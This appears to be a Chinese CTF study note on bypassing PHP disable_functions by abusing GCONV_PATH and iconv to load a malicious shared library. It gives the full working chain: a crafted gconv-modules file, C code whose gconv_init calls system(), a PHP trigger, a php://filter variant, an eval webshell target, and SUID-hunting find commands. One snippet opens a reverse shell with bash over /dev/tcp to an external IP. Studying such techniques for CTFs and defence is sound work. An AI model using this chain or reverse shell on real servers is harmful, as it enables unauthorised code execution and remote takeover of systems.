本文主要内容来源于
使用GCONV_PATH与iconv进行bypass disable_functions
相关赛题两个wp学习:
dasctf2022-upgdload的关于php://filter的妙用
前置知识
glibc
:glibc是GNU发布的libc库,即c运行库。glibc是linux系统中最底层的api,几乎其它任何运行库都会依赖于glibc。glibc除了封装linux操作系统所提供的系统服务外,它本身也提供了许多其它一些必要功能服务的实现。
.so文件
:shared object,so文件是Linux下的程序函数库,即编译好的可以供其他程序使用的代码和数据,与windows下的dll文件差不多,就是常说的动态链接库,都是c或c++编译出来的。 也是ELF格式文件,共享库(动态库),类似于DLL。节约资源,加快速度,代码升级简化。
GCONV_PATH
:linux系统下的一个环境变量,该环境变量能使glibc使用用户自定义的gconv-modules文件
怎么生成以及使用一个so动态库文件? gcc -fPIC -g -c s.c -o libs.o
-fPIC
:-fPIC作用于编译阶段,告诉编译器产生与位置无关代码(Position-Independent Code),则产生的代码中,没有绝对地址,全部使用相对地址,故而代码可以被加载器加载到内存的任意 位置,都可以正确的执行。这正是共享库所要求的,共享库被加载时,在内存的位置不是固定的。
-g
:令 gcc 生成调试信息,该选项可以利用操作系统的“原生格式(native format)”生成调试信息。GDB 可以直接利用这个信息,其它调试器也可以使用这个调试信息。
-c
:仅执行编译操作,不进行连接操作。
-o
:指定生成的输出文件名称 。
主要流程:
·linux环境下,php在执行iconv
函数时会去调用glibc
的iconv_open
函数
·iconv_open函数会首先去寻找系统提供的gconv-modules文件,这个文件包含了所有字符集的相关信息存储路径,每个字符集信息都存储在一个.so文件中,即gconv-modules文件提供每一个字符集的.so文件的详细位置。
·然后查询到位置之后就去调用对应的.so文件
·然后调用.so文件中的gconv和gconv_init函数,达到命令注入的目的
bypass主要过程
首先一般在/tmp文件夹下面上传gconv-modules文件,文件中指定我们自定义的的字符集.so文件,.so文件中书写gconv_init函数,其中填入我们需要执行的系统命令或其他危险操作。然后我们需要上传一个php的shell,里面先指定gconv_path来指向我们自己上传的gconv-modules文件,最后调用iconv函数来执行我们的恶意代码。
实战模拟
首先写一个gconv-modules文件上传到/tmp目录下
module INTERNAL 自定义字符集名字(大写)// ../../../../../../../../tmp/自定义字符集名字(小写) 2
module 自定义字符集名字(大写)// INTERNAL ../../../../../../../../tmp/自定义字符集名字(小写) 2
然后写.c文件
#include <stdlib.h>
void gconv() {}
void gconv_init() {
system("希望执行的命令");
}
gcc编译成.so文件,并且也要上传到/tmp目录下
gcc 源代码文件名.c -o 自定义字符集名.so -shared -fPIC
最后书写php的shell.php,上传到/tmp目录下访问执行即可
<?php
putenv("GCONV_PATH=/tmp/");
iconv("自定义字符集名", "UTF-8", "whatever");
?>
真实操作
例如有个靶场源代码如下,需要bypass disable_function:
<?php
@eval($_REQUEST['ant']);
show_source(__FILE__);
?>
首先使用蚁剑连接,发现没有无法执行命令,需要bypass
上传gconv-modules文件到/tmp目录下:
module HACK// INTERNAL ../../../../../../../../tmp/hack 2
module INTERNAL HACK// ../../../../../../../../tmp/hack 2
再写hack.c文件,使用linux系统执行编译为.so文件:
#include <stdio.h>
#include <stdlib.h>
void gconv() {}
void gconv_init() {
system("/readflag > /tmp/flag");
}
//反弹shell写法
#include <stdio.h>
#include <stdlib.h>
void gconv() {}
void gconv_init() {
system("bash -c 'exec bash -i &>/dev/tcp/175.178.47.228/8888 <&1'");
}
gcc hack.c -o hack.so -shared -fPIC
生成的hack.so要上传到/tmp目录下
然后写shell.php文件,上传到/var/www/html目录下:
<?php
putenv("GCONV_PATH=/tmp/");
iconv("hack", "UTF-8", "whatever");
?>
最后访问/shell.php触发函数调用即可看到flag文件在/tmp文件夹下生成!
有关于php://filter的妙用
使用filter协议编码主动去调用.so文件,达到命令注入的目的
a=putenv("GCONV_PATH=/tmp/");include('php://filter/read=convert.iconv.exp.utf-8/resource=/tmp/exp.so');
寻找拥有root权限的命令执行
-user //根据属主来查找文件
find . -type f //将当前目录及其子目录中的所有文件列出
/dev/null是一个特殊的设备文件,这个文件接收到任何数据都会被丢弃。因此,null这个设备通常也被称为位桶(bit bucket)或黑洞。
所以,2>/dev/null的意思就是将标准错误stderr删掉。
find . -perm 664 便是在当前文件夹下查找 owner,group有读写权限,而其他用户只有读不能写的文件。
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null